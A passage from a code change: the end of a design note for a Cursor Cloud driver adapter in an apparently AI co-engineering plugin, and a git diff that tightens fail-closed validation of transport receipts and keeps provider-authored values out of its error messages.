SDK transport port. +Not real-transport qualified. + +The P21 `CursorCloudDriverV1` (`plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs`) +is the Cursor Cloud adapter over the accepted P17 `ProviderDriverV1` +contract. It owns only the Cloud-specific wiring; every request/result +shape, capability posture, transition rule, and denial code is inherited +from the accepted contract. It defines no parallel envelope or capability +schema. Existing `mcp/v3/cursor-cloud-worker.mjs` is unchanged. + +## Hard binding + +- Provider slot: `cursor-cloud` exactly. Every other provider fails closed + with `provider_slot_mismatch`. +- Exact requested and effective model: preflight is ready only when the + transport attests the envelope model on both `requested_model` and + `effective_model`. Substitution is `model_unattested`. +- Workspace: remote provider-managed, starting at a pinned pushed SHA. The + envelope `starting_ref` must be a lowercase 40-hex commit identical to + the immutable run `base_sha`. +- Repository identity: credential-free host/path plus https URL. Credentials, + query, fragment, and mutable/duplicate identities fail closed. + +## Honest capability + +The shipped declaration is fixed to: + +- `workspace_semantics: remote_provider_managed` +- `workspace_starting_point: pinned_pushed_sha` +- `exact_model_selection: exact_and_attested` +- `dispatch_certainty: confirmed_launch` +- `same_session_reply: unsupported_unresolved_attention` +- `create_pr_posture: prohibited` +- `merge_authority: none_codex_only_integration` +- `replay_posture: never_replay` + +Concretely: + +- Launch reports `dispatched` only after an authoritative SDK run identity: + cloud agent id, provider run id, and stable request id, plus branch + identity. +- Any uncertainty after create or send intent is `dispatch_uncertain` and is + never replayed, retried, or fallback-substituted. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention` and never starts a replacement run. +- `auto_create_pr` is always `false`. Merge, create-PR, and push keys fail + closed. + +## Preflight rejections + +Preflight blocks (closed detail pair, no transport-authored text): + +- dirty checkout +- absent origin +- non-commit starting ref +- invisible starting SHA +- base advancement (`head_sha` or starting SHA drifted from the pin) +- unattested model + +Preflight throws (security/identity): + +- credential-bearing repository identity +- ambiguous duplicate identities +- automatic PR authorization + +## Injected bounded SDK transport port + +`createCursorCloudDriverV1(transport)` / `bindCursorCloudDriverV1(transport)` +require a plain record exposing exactly six concrete synchronous functions +(Proxies, accessors, exotic prototypes, missing or extra operations are +denied): + +| Operation | Argument (frozen, bounded) | Receipt | +| ----------- | -------------------------- | ------- | +| `preflight` | child identity + starting SHA | workspace cleanliness, visibility, attested model, repository identity | +| `create` | identity + `auto_create_pr: false` | `{ created, agent_id, ...identity }` | +| `send` | identity + `agent_id` + `request_id` + envelope text | `{ acknowledged, agent_id, provider_run_id, request_id, branch, ...identity }` | +| `observe` | exact recorded agent/run/request identity | status plus independently verifiable Git/branch/base evidence | +| `cancel` | exact recorded agent/run/request identity | `{ outcome, archived, ...identity }` | +| `reattach` | exact recorded agent/run/request identity | `{ reattached, agent_id, provider_run_id, request_id, ...identity }` | + +Reconcile mapping: `running → in_progress`, `needs_attention → +unresolved_attention`, `completed/failed/cancelled → terminal` after Git +evidence verification, `lost → dispatch_uncertain`. Terminal verification +requires provider-reported state plus head SHA, merge-base, and branch. +The adapter claims nothing the transport did not expose. + +`restart_reattach` recovers only the exact recorded agent/run/request +identity and never relaunches. + +## Cancellation and terminal latches + +Cancel targets only the exact recorded run. The receipt must report both +`outcome` (`cancel_requested` / `cancel_confirmed` / `already_terminal`) and +a boolean `archived`. `cancel_requested` stays nonterminal so a later cancel +may still be delivered. Completed/failed/cancelled observe status and +`cancel_confirmed` / `already_terminal` latch: later cancel is +`already_terminal` with no further transport. + +## Bounds and telemetry hygiene + +Event pages are at most 32 records of `{ kind, bytes }` from a closed kind +vocabulary. Detail messages are composed only from closed vocabulary words +and validated identifiers. Provider prompt, envelope text, secrets, PR URLs, +and transport-authored strings never reach a driver result, a detail pair, +or inspectable evidence. + +## Coverage and non-claims + +Coverage lives in `test/r1-cursor-cloud-driver.test.mjs` and +`test/r1-cursor-cloud-driver-adversarial.test.mjs`. + +This slice does NOT qualify a real Cursor Cloud transport. It claims no +durable store, scheduler, registry cutover, supervisor cutover, merge +authority, or automatic PR creation. One Luna Max exact review follows; +real Cursor Cloud transport qualification follows exact acceptance. diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs index 59fe35d..e084bf3 100644 --- a/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/cursor-cloud-driver.mjs @@ -27,6 +27,12 @@ // - same-session reply is unsupported_unresolved_attention, never a new run; // - result/event/error data is bounded and content-free; hostile JSON, // proxies, accessors, caps, secrets, and prompt text fail closed. +// - post-transport receipt validation is quarantined locally: thrown +// diagnostics keep only a closed local code and a fixed operation path, +// message, and name. Provider-authored identity values, unknown keys, +// detail pairs, raw errors, stacks, causes, and expected canonical +// path/model/branch/run/request values never appear on public errors, +// results, or evidence. Caller-request validation is not collapsed. // // Capability posture is honest: remote managed workspace starting at a pinned // pushed SHA, exact-model selection only when attested, merge none, create PR @@ -67,6 +73,7 @@ import { import { DIGEST_HEX_LENGTH, IDENTITY_LABELS } from './identity.mjs'; import { SHA40_PATTERN, + RunContractV1Error, assertAllowedKeys, assertBoundedText, assertDenseJsonArray, @@ -108,6 +115,7 @@ export const MAX_CURSOR_CLOUD_EVENT_PAGE = 32; export const MAX_CURSOR_CLOUD_EVENT_BYTES = 32 * 1024; export const MAX_CURSOR_CLOUD_EVENT_COUNT = 1_000_000; export const MAX_CURSOR_CLOUD_TIMING_MS = 86_400_000; +export const MAX_CURSOR_CLOUD_CURSOR_BYTES = 16; export const MAX_CURSOR_CLOUD_QUESTION_ID_BYTES = 80; export const CURSOR_CLOUD_OBSERVE_STATUSES = capturedFreeze([ @@ -181,7 +189,7 @@ const OBSERVE_RECEIPT_KEYS = capturedFreeze([ 'event_count', ]); const CANCEL_RECEIPT_KEYS = capturedFreeze([ - 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'provider', + 'outcome', 'archived', 'agent_id', 'provider_run_id', 'request_id', 'branch', 'provider', 'model', 'run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', 'starting_sha', 'repository_identity', ]); @@ -208,6 +216,58 @@ const CONTENT_FORBIDDEN_KEYS = capturedFreeze([ const POST_INTENT_ERROR_CODES = capturedFreeze([ 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', ]); +const TRANSPORT_COLLAPSE_CODES = capturedFreeze([ + 'send_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', +]); +const TRANSPORT_COLLAPSE_MESSAGES = capturedFreeze({ + send_ack_missing: 'cursor cloud send acknowledgement missing', + transport_exception: 'cursor cloud transport failed', + transport_lost: 'cursor cloud transport lost', + transport_timeout: 'cursor cloud transport timed out', +}); +const CLOSED_RECEIPT_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'content_key_denied', + 'credential_content_denied', 'dependency_not_allowed', 'detail_pair_denied', + 'direct_mode_rejected', 'duplicate_identity', 'executable_content_denied', + 'exotic_prototype_denied', 'invalid_exact_model_selection', 'invalid_format', + 'invalid_json_type', 'invalid_json_value', 'invalid_object', 'invalid_type', + 'malformed_receipt', 'merge_authority_denied', 'own_undefined_denied', + 'proxy_denied', 'replay_or_fallback_denied', 'repository_credentials', + 'stale_identity_denied', 'unknown_key', 'value_depth_exceeded', +]); +const CLOSED_RECEIPT_PATHS = capturedFreeze({ + preflight: 'cursor_cloud_transport.preflight', + create: 'cursor_cloud_transport.create', + send: 'cursor_cloud_transport.send', + observe: 'cursor_cloud_transport.observe', + cancel: 'cursor_cloud_transport.cancel', + reattach: 'cursor_cloud_transport.reattach', +}); +const CLOSED_RECEIPT_MESSAGES = capturedFreeze({ + preflight: 'Cursor Cloud preflight receipt failed closed validation; transport detail is omitted.', + create: 'Cursor Cloud create receipt failed closed validation; transport detail is omitted.', + send: 'Cursor Cloud send receipt failed closed validation; transport detail is omitted.', + observe: 'Cursor Cloud observe receipt failed closed validation; transport detail is omitted.', + cancel: 'Cursor Cloud cancel receipt failed closed validation; transport detail is omitted.', + reattach: 'Cursor Cloud reattach receipt failed closed validation; transport detail is omitted.', +}); +const CLOSED_RECEIPT_VALIDATION_MESSAGES = capturedFreeze({ + unknown_key: 'contains a key outside the closed Cursor Cloud receipt vocabulary.', + replay_or_fallback_denied: 'must not enable replay or fallback.', + credential_content_denied: 'must not carry credential material.', + merge_authority_denied: 'must not enable merge or create-PR authority.', + executable_content_denied: 'must not carry executable content.', + dependency_not_allowed: 'must not carry dependency edges.', + direct_mode_rejected: 'must not select direct workspace mode.', + content_key_denied: 'must not carry forbidden content keys.', + malformed_receipt: 'must be a plain closed Cursor Cloud receipt.', + invalid_type: 'must be a plain closed Cursor Cloud receipt.', + proxy_denied: 'must be concrete JSON data, not a Proxy.', +}); +const CURSOR_CLOUD_PROGRESS_STATUSES = capturedFreeze([ + ...CURSOR_CLOUD_OBSERVE_STATUSES, + 'truncated', +]); const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); const TERMINAL_LATCH_STATES = capturedFreeze([ @@ -403,24 +463,155 @@ function identityFromEnvelope(envelope, childEnvelopeDigest) { }); } -function assertReceiptIdentity(receipt, identity, path) { +function assertRequiredFalse(receipt, key, path, code, message) { + if (!hasOwn(receipt, key) || optOwn(receipt, key) !== false) { + fail(code, `${path}.${key}`, message); + } +} + +function assertCursorToken(value, path) { + if (typeof value !== 'string') { + fail('invalid_type', path, `${path} must be a cursor string.`); + } + if (capturedUtf8ByteLength(value) > MAX_CURSOR_CLOUD_CURSOR_BYTES) { + fail('invalid_format', path, `${path} exceeds the cursor byte cap.`); + } + return assertPatternedId(value, CURSOR_CLOUD_CURSOR_PATTERN, path, 'event cursor'); +} + +function assertBoundedCount(value, path, max) { + if (!Number.isSafeInteger(value) || value < 0 || value > max) { + fail('invalid_format', path, `${path} must be a bounded non-negative integer.`); + } + return value; +} + +function assertBoundRepositoryAndSha(receipt, identity, boundRepository, path) { + if (!hasOwn(receipt, 'starting_sha')) { + fail('malformed_receipt', `${path}.starting_sha`, + `${path}.starting_sha must echo the immutable pinned starting SHA.`); + } + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Transport starting SHA does not match the immutable pinned commit.'); + } + if (!hasOwn(receipt, 'repository_identity')) { + fail('malformed_receipt', `${path}.repository_identity`, + `${path}.repository_identity must echo the bound provider repository identity.`); + } + const repositoryIdentity = assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ); + if (boundRepository !== undefined && repositoryIdentity !== boundRepository) { + fail('stale_identity_denied', `${path}.repository_identity`, + 'Transport repository identity drifted from the bound provider repository.'); + } + return repositoryIdentity; +} + +function assertReceiptIdentity(receipt, identity, path, boundRepository) { for (const key of IDENTITY_ECHO_KEYS) { if (!hasOwn(receipt, key)) { - fail('malformed_receipt', `${path}.${key}`, - `${path}.${key} must echo the exact Cursor Cloud lane identity.`); + fail('malformed_receipt', path, + `${path} must echo the exact Cursor Cloud lane identity.`); } const actual = optOwn(receipt, key); const value = identity[key]; const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; if (!equal) { - fail('stale_identity_denied', `${path}.${key}`, - `${path}.${key} must echo ${truncateForMessage(value)}; received ${truncateForMessage(actual)}.`); + fail('stale_identity_denied', path, + `${path} identity does not match the bound Cursor Cloud lane.`); } } - if (hasOwn(receipt, 'starting_sha') && optOwn(receipt, 'starting_sha') !== identity.starting_sha) { - fail('stale_identity_denied', `${path}.starting_sha`, - 'Transport starting SHA does not match the immutable pinned commit.'); + return assertBoundRepositoryAndSha(receipt, identity, boundRepository, path); +} + +function collapsedTransportError(operation, error) { + let code = 'transport_exception'; + try { + if (error !== null && typeof error === 'object' && !IS_PROXY(error) + && typeof error.code === 'string' + && capturedIncludes(TRANSPORT_COLLAPSE_CODES, error.code)) { + code = error.code; + } + } catch { + code = 'transport_exception'; } + return new RunContractV1Error( + code, + `cursor_cloud_transport.${operation}`, + optOwn(TRANSPORT_COLLAPSE_MESSAGES, code), + ); +} + +function closedReceiptCode(error) { + try { + if (error instanceof RunContractV1Error && typeof error.code === 'string' + && capturedIncludes(CLOSED_RECEIPT_ERROR_CODES, error.code)) { + return error.code; + } + } catch { + return 'malformed_receipt'; + } + return 'malformed_receipt'; +} + +function closedReceiptError(operation, error) { + return new RunContractV1Error( + closedReceiptCode(error), + optOwn(CLOSED_RECEIPT_PATHS, operation), + optOwn(CLOSED_RECEIPT_MESSAGES, operation), + ); +} + +function inspectProviderReceipt(operation, fn) { + try { + return fn(); + } catch (error) { + throw closedReceiptError(operation, error); + } +} + +function closedReceiptValidationMessage(code, path) { + const suffix = optOwn(CLOSED_RECEIPT_VALIDATION_MESSAGES, code) + ?? 'failed closed Cursor Cloud receipt validation.'; + return `${path} ${suffix}`; +} + +function invokeTransport(store, operation, request) { + try { + return callTransport(store, operation, request); + } catch (error) { + throw collapsedTransportError(operation, error); + } +} + +function guardLifecycle(operation, fn) { + try { + return fn(); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + throw collapsedTransportError(operation, error); + } +} + +function hasExactRecordedRunIdentity(record) { + return record !== undefined + && typeof record.agent_id === 'string' + && typeof record.provider_run_id === 'string' + && typeof record.request_id === 'string' + && typeof record.branch === 'string'; +} + +function evidenceTruncatedFlag(events, progress, status, priorTruncated) { + if (priorTruncated === true) return true; + if (status === 'truncated') return true; + if (progress !== undefined && progress.status === 'truncated') return true; + for (let index = 0; index < events.length; index += 1) { + if (events[index].kind === 'truncated') return true; + } + return false; } function assertClosedReceipt(receipt, allowedKeys, path) { @@ -429,7 +620,12 @@ function assertClosedReceipt(receipt, allowedKeys, path) { } assertDirectJsonClosure(receipt, path); assertPlainObject(receipt, 'malformed_receipt', path, path); - assertAllowedKeys(receipt, allowedKeys, path); + try { + assertAllowedKeys(receipt, allowedKeys, path); + } catch (error) { + const code = closedReceiptCode(error); + fail(code, path, closedReceiptValidationMessage(code, path)); + } } function assertNoContentKeys(value, path) { @@ -641,31 +837,22 @@ function markUncertain(store, identity, extras = {}) { } function assertExactRunBinding(receipt, record, path) { - if (record.agent_id !== undefined) { - const agentId = assertPatternedId( - optOwn(receipt, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, `${path}.agent_id`, 'agent_id', - ); - if (agentId !== record.agent_id) { - fail('stale_identity_denied', `${path}.agent_id`, - 'Receipt agent_id must match the exact recorded Cursor Cloud agent.'); - } - } - if (record.provider_run_id !== undefined && hasOwn(receipt, 'provider_run_id')) { - const runId = assertPatternedId( - optOwn(receipt, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, `${path}.provider_run_id`, 'provider_run_id', - ); - if (runId !== record.provider_run_id) { - fail('stale_identity_denied', `${path}.provider_run_id`, - 'Receipt provider_run_id must match the exact recorded Cursor Cloud run.'); + const checks = capturedFreeze([ + ['agent_id', CURSOR_CLOUD_AGENT_ID_PATTERN, 'agent_id'], + ['provider_run_id', CURSOR_CLOUD_RUN_ID_PATTERN, 'provider_run_id'], + ['request_id', CURSOR_CLOUD_REQUEST_ID_PATTERN, 'request_id'], + ['branch', CURSOR_CLOUD_BRANCH_PATTERN, 'branch'], + ]); + for (const [key, pattern, label] of checks) { + if (record[key] === undefined) continue; + if (!hasOwn(receipt, key)) { + fail('stale_identity_denied', `${path}.${key}`, + `${path}.${key} must echo the exact recorded Cursor Cloud ${label}.`); } - } - if (record.request_id !== undefined && hasOwn(receipt, 'request_id')) { - const requestId = assertPatternedId( - optOwn(receipt, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, `${path}.request_id`, 'request_id', - ); - if (requestId !== record.request_id) { - fail('stale_identity_denied', `${path}.request_id`, - 'Receipt request_id must match the exact recorded Cursor Cloud request identity.'); + const actual = assertPatternedId(optOwn(receipt, key), pattern, `${path}.${key}`, label); + if (actual !== record[key]) { + fail('stale_identity_denied', `${path}.${key}`, + `Receipt ${key} must match the exact recorded Cursor Cloud ${label}.`); } } } @@ -704,7 +891,29 @@ function projectProgress(progress, path) { assertDirectJsonClosure(progress, path); assertPlainObject(progress, 'malformed_receipt', path, path); assertAllowedKeys(progress, PROGRESS_KEYS, path); - return detachFrozenJson(progress); + const projected = {}; + if (hasOwn(progress, 'cursor')) { + projected.cursor = assertCursorToken(optOwn(progress, 'cursor'), `${path}.cursor`); + } + if (hasOwn(progress, 'event_count')) { + projected.event_count = assertBoundedCount( + optOwn(progress, 'event_count'), `${path}.event_count`, MAX_CURSOR_CLOUD_EVENT_COUNT, + ); + } + if (hasOwn(progress, 'elapsed_ms')) { + projected.elapsed_ms = assertBoundedCount( + optOwn(progress, 'elapsed_ms'), `${path}.elapsed_ms`, MAX_CURSOR_CLOUD_TIMING_MS, + ); + } + if (hasOwn(progress, 'status')) { + const status = optOwn(progress, 'status'); + if (!capturedIncludes(CURSOR_CLOUD_PROGRESS_STATUSES, status)) { + fail('invalid_format', `${path}.status`, + `${path}.status must be a closed Cursor Cloud progress status.`); + } + projected.status = status; + } + return freezeData(projected); } function projectAttention(attention, path) { @@ -720,11 +929,16 @@ function projectAttention(attention, path) { } function projectGitEvidence(receipt, identity, path) { - const startingSha = hasOwn(receipt, 'starting_sha') - ? assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`) - : identity.starting_sha; + const startingSha = assertCommitSha(optOwn(receipt, 'starting_sha'), `${path}.starting_sha`); + if (startingSha !== identity.starting_sha) { + fail('stale_identity_denied', `${path}.starting_sha`, + 'Git evidence starting SHA does not match the immutable pinned commit.'); + } const evidence = { starting_sha: startingSha, + repository_identity: assertRepositoryIdentity( + optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, + ), }; if (hasOwn(receipt, 'head_sha')) { evidence.head_sha = assertCommitSha(optOwn(receipt, 'head_sha'), `${path}.head_sha`); @@ -745,11 +959,6 @@ function projectGitEvidence(receipt, identity, path) { } evidence.linear_history = linear; } - if (hasOwn(receipt, 'repository_identity')) { - evidence.repository_identity = assertRepositoryIdentity( - optOwn(receipt, 'repository_identity'), `${path}.repository_identity`, - ); - } return freezeData(evidence); } @@ -780,26 +989,27 @@ function runPreflight(store, request) { assertNoContentKeys(probe, 'cursor_cloud_transport.preflight.request'); let receipt; try { - receipt = callTransport(store, 'preflight', probe); + receipt = invokeTransport(store, 'preflight', probe); } catch (error) { void error; putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('transport_unavailable')); } + return inspectProviderReceipt('preflight', () => { assertClosedReceipt(receipt, PREFLIGHT_RECEIPT_KEYS, 'transport.preflight.result'); - assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); - if (optOwn(receipt, 'credential_bearing') === true) { - fail('repository_credentials', 'transport.preflight.result.credential_bearing', - 'Cursor Cloud repository identity must not carry credentials, query, or fragment data.'); - } - if (optOwn(receipt, 'duplicate_identities') === true) { - fail('duplicate_identity', 'transport.preflight.result.duplicate_identities', - 'Cursor Cloud preflight reported ambiguous duplicate agent or run identities.'); - } - if (optOwn(receipt, 'auto_create_pr') === true) { - fail('merge_authority_denied', 'transport.preflight.result.auto_create_pr', - 'Cursor Cloud preflight must not authorize automatic PR creation.'); - } + const repositoryIdentity = assertReceiptIdentity(receipt, identity, 'transport.preflight.result'); + assertRequiredFalse( + receipt, 'credential_bearing', 'transport.preflight.result', 'repository_credentials', + 'transport.preflight.result.credential_bearing must be exactly false.', + ); + assertRequiredFalse( + receipt, 'duplicate_identities', 'transport.preflight.result', 'duplicate_identity', + 'transport.preflight.result.duplicate_identities must be exactly false.', + ); + assertRequiredFalse( + receipt, 'auto_create_pr', 'transport.preflight.result', 'merge_authority_denied', + 'transport.preflight.result.auto_create_pr must be exactly false.', + ); const ok = optOwn(receipt, 'ok'); if (ok === true) { if (hasOwn(receipt, 'detail_code') || hasOwn(receipt, 'detail_message')) { @@ -835,9 +1045,6 @@ function runPreflight(store, request) { putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail('starting_ref_invisible')); } - const repositoryIdentity = assertRepositoryIdentity( - optOwn(receipt, 'repository_identity'), 'transport.preflight.result.repository_identity', - ); assertRepositoryUrl(optOwn(receipt, 'repository_url'), 'transport.preflight.result.repository_url'); putLane(store, identity, { state: 'ready', @@ -860,6 +1067,7 @@ function runPreflight(store, request) { } putLane(store, identity, { state: 'blocked', model: identity.model }); return driverResult('preflight', identity, 'blocked', blockedPreflightDetail(blockedCode)); + }); } function runLaunch(store, request) { @@ -888,6 +1096,7 @@ function runLaunch(store, request) { const createRequest = transportIdentityRequest(identity, { proposed_agent_id: proposed, repository_url: prior.repository_url, + repository_identity: prior.repository_identity, auto_create_pr: false, }); assertNoContentKeys(createRequest, 'cursor_cloud_transport.create.request'); @@ -896,29 +1105,35 @@ function runLaunch(store, request) { 'Cursor Cloud create must send auto_create_pr false; automatic PR creation is prohibited.'); } createInvoked = true; - const created = callTransport(store, 'create', createRequest); - assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); - if (optOwn(created, 'created') !== true) { - fail('malformed_receipt', 'transport.create.result.created', - 'transport.create.result.created must be exactly true.'); - } - assertReceiptIdentity(created, identity, 'transport.create.result'); - agentId = assertPatternedId( - optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.create.result.agent_id', 'agent_id', - ); - if (hasOwn(created, 'repository_identity')) { - repositoryIdentity = assertRepositoryIdentity( - optOwn(created, 'repository_identity'), 'transport.create.result.repository_identity', - ); - } + const created = invokeTransport(store, 'create', createRequest); + const createdView = inspectProviderReceipt('create', () => { + assertClosedReceipt(created, CREATE_RECEIPT_KEYS, 'transport.create.result'); + if (optOwn(created, 'created') !== true) { + fail('malformed_receipt', 'transport.create.result.created', + 'transport.create.result.created must be exactly true.'); + } + return { + repositoryIdentity: assertReceiptIdentity( + created, identity, 'transport.create.result', prior.repository_identity, + ), + agentId: assertPatternedId( + optOwn(created, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, + 'transport.create.result.agent_id', 'agent_id', + ), + }; + }); + repositoryIdentity = createdView.repositoryIdentity; + agentId = createdView.agentId; } catch (error) { + if (error instanceof RunContractV1Error && createInvoked !== true && !isPostIntentFailure(error)) { + throw error; + } if (createInvoked || isPostIntentFailure(error)) { return markUncertain(store, identity, { repository_identity: repositoryIdentity }); } putLane(store, identity, { state: 'not_sent', model: identity.model }); return driverResult('launch', identity, 'not_sent', { - detail_code: typeof error?.code === 'string' && capturedTest(DETAIL_CODE_PATTERN, error.code) - ? error.code : 'transport_unavailable', + detail_code: 'transport_unavailable', detail_message: boundedDiagnosticMessage('transport_unavailable', 'Cursor Cloud create failed before intent; no prompt was dispatched.'), }); @@ -939,55 +1154,57 @@ function runLaunch(store, request) { ...transportIdentityRequest(identity, { agent_id: agentId, request_id: requestId, + repository_identity: repositoryIdentity, auto_create_pr: false, }), envelope_text: view.request.envelope_text, }); - const ack = callTransport(store, 'send', sendRequest); - assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); - if (optOwn(ack, 'acknowledged') !== true) { - return markUncertain(store, identity, { - agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + const ack = invokeTransport(store, 'send', sendRequest); + return inspectProviderReceipt('send', () => { + assertClosedReceipt(ack, SEND_RECEIPT_KEYS, 'transport.send.result'); + if (optOwn(ack, 'acknowledged') !== true) { + return markUncertain(store, identity, { + agent_id: agentId, request_id: requestId, repository_identity: repositoryIdentity, + }); + } + const ackRepo = assertReceiptIdentity( + ack, identity, 'transport.send.result', repositoryIdentity, + ); + const ackAgent = assertPatternedId( + optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', + ); + if (ackAgent !== agentId) { + fail('stale_identity_denied', 'transport.send.result.agent_id', + 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); + } + const ackRequestId = assertPatternedId( + optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', + ); + if (ackRequestId !== requestId) { + fail('stale_identity_denied', 'transport.send.result.request_id', + 'Send acknowledgement request_id must match the exact dispatch attempt.'); + } + const providerRunId = assertPatternedId( + optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, + 'transport.send.result.provider_run_id', 'provider_run_id', + ); + const branch = assertPatternedId( + optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', + ); + putLane(store, identity, { + state: 'dispatched', + model: identity.model, + agent_id: ackAgent, + provider_run_id: providerRunId, + request_id: ackRequestId, + branch, + repository_identity: ackRepo, + created: true, + dispatch_intent: true, + acknowledged: true, }); - } - assertReceiptIdentity(ack, identity, 'transport.send.result'); - const ackAgent = assertPatternedId( - optOwn(ack, 'agent_id'), CURSOR_CLOUD_AGENT_ID_PATTERN, 'transport.send.result.agent_id', 'agent_id', - ); - if (ackAgent !== agentId) { - fail('stale_identity_denied', 'transport.send.result.agent_id', - 'Send acknowledgement agent_id must match the created Cursor Cloud agent.'); - } - const ackRequestId = assertPatternedId( - optOwn(ack, 'request_id'), CURSOR_CLOUD_REQUEST_ID_PATTERN, 'transport.send.result.request_id', 'request_id', - ); - if (ackRequestId !== requestId) { - fail('stale_identity_denied', 'transport.send.result.request_id', - 'Send acknowledgement request_id must match the exact dispatch attempt.'); - } - const providerRunId = assertPatternedId( - optOwn(ack, 'provider_run_id'), CURSOR_CLOUD_RUN_ID_PATTERN, - 'transport.send.result.provider_run_id', 'provider_run_id', - ); - const branch = assertPatternedId( - optOwn(ack, 'branch'), CURSOR_CLOUD_BRANCH_PATTERN, 'transport.send.result.branch', 'branch', - ); - const ackRepo = hasOwn(ack, 'repository_identity') - ? assertRepositoryIdentity(optOwn(ack, 'repository_identity'), 'transport.send.result.repository_identity') - : repositoryIdentity; - putLane(store, identity, { - state: 'dispatched', - model: identity.model, - agent_id: ackAgent, - provider_run_id: providerRunId, - request_id: ackRequestId, - branch, - repository_identity: ackRepo, - created: true, - dispatch_intent: true, - acknowledged: true, + return driverResult('launch', identity, 'dispatched'); }); - return driverResult('launch', identity, 'dispatched'); } catch (error) { void error; return markUncertain(store, identity, { @@ -997,15 +1214,20 @@ function runLaunch(store, request) { } function observeLane(store, identity, record, include) { - const extras = { include: [...include] }; - if (record.agent_id !== undefined) extras.agent_id = record.agent_id; - if (record.provider_run_id !== undefined) extras.provider_run_id = record.provider_run_id; - if (record.request_id !== undefined) extras.request_id = record.request_id; + const extras = { + include: [...include], + agent_id: record.agent_id, + provider_run_id: record.provider_run_id, + request_id: record.request_id, + branch: record.branch, + repository_identity: record.repository_identity, + }; const observeRequest = transportIdentityRequest(identity, extras); assertNoContentKeys(observeRequest, 'cursor_cloud_transport.observe.request'); - const receipt = callTransport(store, 'observe', observeRequest); + const receipt = invokeTransport(store, 'observe', observeRequest); + return inspectProviderReceipt('observe', () => { assertClosedReceipt(receipt, OBSERVE_RECEIPT_KEYS, 'transport.observe.result'); - assertReceiptIdentity(receipt, identity, 'transport.observe.result'); + assertReceiptIdentity(receipt, identity, 'transport.observe.result', record.repository_identity); assertExactRunBinding(receipt, record, 'transport.observe.result'); const status = optOwn(receipt, 'status'); if (!capturedIncludes(CURSOR_CLOUD_OBSERVE_STATUSES, status)) { @@ -1013,22 +1235,17 @@ function observeLane(store, identity, record, include) { `transport.observe.result.status must be one of ${capturedJoin(CURSOR_CLOUD_OBSERVE_STATUSES, ', ')}.`); } if (hasOwn(receipt, 'elapsed_ms')) { - const elapsed = optOwn(receipt, 'elapsed_ms'); - if (!Number.isSafeInteger(elapsed) || elapsed < 0 || elapsed > MAX_CURSOR_CLOUD_TIMING_MS) { - fail('invalid_format', 'transport.observe.result.elapsed_ms', - 'elapsed_ms must be a bounded millisecond timing.'); - } + assertBoundedCount( + optOwn(receipt, 'elapsed_ms'), 'transport.observe.result.elapsed_ms', MAX_CURSOR_CLOUD_TIMING_MS, + ); } if (hasOwn(receipt, 'event_count')) { - const count = optOwn(receipt, 'event_count'); - if (!Number.isSafeInteger(count) || count < 0 || count > MAX_CURSOR_CLOUD_EVENT_COUNT) { - fail('invalid_format', 'transport.observe.result.event_count', - 'event_count must be a bounded integer count.'); - } + assertBoundedCount( + optOwn(receipt, 'event_count'), 'transport.observe.result.event_count', MAX_CURSOR_CLOUD_EVENT_COUNT, + ); } if (hasOwn(receipt, 'cursor')) { - assertPatternedId(optOwn(receipt, 'cursor'), CURSOR_CLOUD_CURSOR_PATTERN, - 'transport.observe.result.cursor', 'event cursor'); + assertCursorToken(optOwn(receipt, 'cursor'), 'transport.observe.result.cursor'); } const git = projectGitEvidence(receipt, identity, 'transport.observe.result'); const events = capturedIncludes(include, 'detailed_events') @@ -1051,7 +1268,8 @@ function observeLane(store, identity, record, include) { agent_id: optOwn(receipt, 'agent_id'), provider_run_id: optOwn(receipt, 'provider_run_id'), request_id: optOwn(receipt, 'request_id'), - branch: hasOwn(receipt, 'branch') ? optOwn(receipt, 'branch') : record.branch, + branch: optOwn(receipt, 'branch'), + }); }); } @@ -1082,28 +1300,33 @@ function runReconcile(store, request) { const latched = hasTerminalLatch(prior); if (view.intent === 'restart_reattach' && !latched) { - if (prior.agent_id === undefined || prior.request_id === undefined) { - fail('stale_identity_denied', 'driver.reconcile.request.intent', - 'restart_reattach requires the exact 